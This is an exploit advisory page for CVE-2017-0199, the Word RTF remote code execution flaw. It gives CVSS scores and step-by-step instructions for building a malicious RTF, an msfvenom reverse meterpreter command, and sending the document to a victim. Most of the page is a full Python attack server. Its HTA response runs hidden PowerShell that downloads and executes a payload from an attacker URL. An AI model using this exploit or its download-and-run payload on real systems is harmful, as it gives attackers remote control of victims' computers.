Microsoft Office Word RTF RCE vulnerability to gain meterpreter shell *youtube

2017.04.19
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

''' # Exploit Title: Exploit CVE-2017-0199 (Word RTF RCE) vulnerability to gain meterpreter shell # Date: 17/04/2017 # Exploit Author: Bhadresh Patel # Version: Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1. # CVE : CVE-2017-0199 This is an article with video tutorial and tool to gain a meterpreter shell by exploiting CVE-2017-0199 (Word RTF RCE) vulnerability. Video tutorial https://youtu.be/ymLVH5avkZw Steps Step-1) Create a malicious RTF - Start a webserver on attacker machine - Open MS Office word and insert an innocent remote doc file (innocent.doc) as an object - Save the file as RTF - Modify RTF to inject \objupdate control - Stop the webserver on attacker machine - Share this RTF file with victim Step-2) Create a meterpreter shell on attacker machine - msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > shell.exe - Start multi handler Step-3) Start attacker script (server.py) - Specify URL of meterpreter shell - Specify location of shell Step-4) Victim opens the document and an attacker gets a reverse meterpreter shell ''' import os,sys,thread,socket BACKLOG = 50 # how many pending connections queue will hold MAX_DATA_RECV = 999999 # max number of bytes we receive at once DEBUG = True # set to True to see the debug msgs def main(): # check the length of command running if (len(sys.argv)<3): print "Usage: python ",sys.argv[0]," <port> <payloadurl> <payloadlocation> " sys.exit(1) else: port = int(sys.argv[1]) # port from argument global payloadurl global payloadlocation payloadurl = sys.argv[2] payloadlocation = sys.argv[3] # host and port info. host = '' # blank for localhost print "Server Running on ",host,":",port try: # create a socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # associate the socket to host and port s.bind((host, port)) # listenning s.listen(BACKLOG) except socket.error, (value, message): if s: s.close() print "Could not open socket:", message sys.exit(1) # get the connection from client while 1: conn, client_addr = s.accept() # create a thread to handle request thread.start_new_thread(server_thread, (conn, client_addr)) s.close() def printout(type,request,address): if "Block" in type or "Blacklist" in type: colornum = 91 elif "Request" in type: colornum = 92 elif "Reset" in type: colornum = 93 print "\033[",colornum,"m",address[0],"\t",type,"\t",request,"\033[0m" def server_thread(conn, client_addr): # get the request from browser request = conn.recv(MAX_DATA_RECV) if (len(request) > 0): # parse the first line first_line = request.split('\n')[0] # get method method = first_line.split(' ')[0] # get url url = first_line.split(' ')[1] check_exe_request = url.find('.exe') if (check_exe_request > 0): print "Received request for payload from "+client_addr[0] size = os.path.getsize(payloadlocation) data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n" with open(payloadlocation) as fin: data +=fin.read() conn.send(data) conn.close() sys.exit(1) if method in ['GET', 'get']: print "Received GET method from "+client_addr[0] data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n" conn.send(data) conn.close() if method in ['OPTIONS', 'options']: print "Receiver OPTIONS method from "+client_addr[0] data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html" conn.send(data) conn.close() if method in ['HEAD', 'head']: print "Received HEAD method from "+client_addr[0] data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n" conn.send(data) conn.close() sys.exit(1) if __name__ == '__main__': main()

References:

https://youtu.be/ymLVH5avkZw


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